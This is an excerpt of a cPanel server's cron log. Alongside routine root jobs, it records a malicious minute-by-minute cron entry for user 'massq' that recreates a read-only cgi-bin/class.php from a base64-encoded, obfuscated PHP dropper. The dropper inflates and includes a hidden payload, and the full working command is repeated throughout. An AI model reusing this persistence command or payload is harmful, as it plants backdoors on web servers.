X1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:39:01 server CROND[8995]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 20:40:01 server CROND[9167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:40:01 server CROND[9169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:40:01 server CROND[9168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 20:40:01 server CROND[9170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:41:01 server CROND[9309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:42:01 server CROND[9385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:42:01 server CROND[9386]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 20:43:01 server CROND[9460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:44:01 server CROND[9525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:45:01 server CROND[9679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:45:01 server CROND[9678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:45:01 server CROND[9680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:46:01 server CROND[9814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:47:01 server CROND[9885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:48:01 server CROND[9962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:49:01 server CROND[10027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:50:01 server CROND[10191]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:50:01 server CROND[10195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:50:01 server CROND[10200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 20:50:01 server CROND[10196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:50:01 server CROND[10198]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 20:51:01 server CROND[10326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:52:01 server CROND[10390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
